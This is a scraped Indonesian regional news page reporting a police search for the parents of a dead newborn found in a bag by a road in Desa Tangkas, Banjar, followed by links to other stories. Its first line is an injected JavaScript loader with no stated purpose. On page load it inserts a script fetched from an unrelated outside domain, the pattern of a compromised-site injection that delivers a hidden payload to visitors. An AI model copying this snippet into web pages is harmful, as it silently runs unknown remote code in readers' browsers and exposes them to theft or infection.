(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Polisi masih terus mengusut orangtua dari jasad bayi ‘merah’ yang diduga baru lahir yang ditelantarkan dalam tas jinjing di tepi jalan raya di Desa Tangkas, Kecamatan Martapura Barat, Kabupaten Banjar, Kalsel, Minggu (15/12) malam.
Polres Banjar melalui Kanit Reskrim Polsek Martapura Barat Aipda Yohanes, Senin (16/12) mengatakan, masih terus melakukan pencarian dengan menghimpun keterangan saksi. “Termasuk juga dari kalangan bidan atau bidan kampung yang biasa melayani persalinan,†katanya.
Sementara itu bayi yang ditemukan dalam keadaan meninggal itu, dievakuasi polisi ke RSU Ulin Banjarmasin. “Autopsi itu kami perlukan untuk mengetahui penyebab kematian bayi itu, sekaligus untuk mendeteksi DNA-nya,” katanya.
Sebelumnya, warga Desa Tangkas, Kecamatan Martapura Barat, dihebohkan penemuan bayi merah pada Minggu (15/12) malam. Bayi malang tersebut ditemukan di dalam tas jinjing hitam. Warga setempat mendapati tas itu teronggok di bawah pohon di tepi jalan poros desa.
“Yang menemukan pertama kali Pak Sapuani atau Pak Isap (30). Saat itu beliau dari luar rumah. Ketika mendekati arah rumah, kaget melihat ada sesuatu di dekat pohon. Setelah diterangi pakai lampu sepeda motor ternyata tas,” beber Jamaluddin, aparatur Desa Tangkas, Senin (16/12) dilansir tribunnews.com.
Isap kemudian menghubungi Jamaluddin dan apatur desa ini langsung menginformasikan kepada petugas Polsek Martapura Barat. Sekitar sepuluh menit petutas datang, sementara warga kian banyak yang berdatangan. “Katanya sih saat itu ada yang mendengar seperti suara tangisan. Cuma gak jelas juga. Yang jelas saat malam itu diperiksa bareng-bareng dengan petugas, bayi itu sudah tak bernapas, sudah meninggal,” tuturnya.
Hanya sekitar sepuluh menit, polisi dari Polsek Martapura Barat telah tiba di lokasi. Olah TKP (tempat kejadian perkara) pun langsung dilakukan. Sementara itu warga datang berduyun-duyun ke lokai temuan bayi merah di lingkungan RT 02. Bayi itu ditemukan di tepi jalan raya Desa Tangkas.(cel/net)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.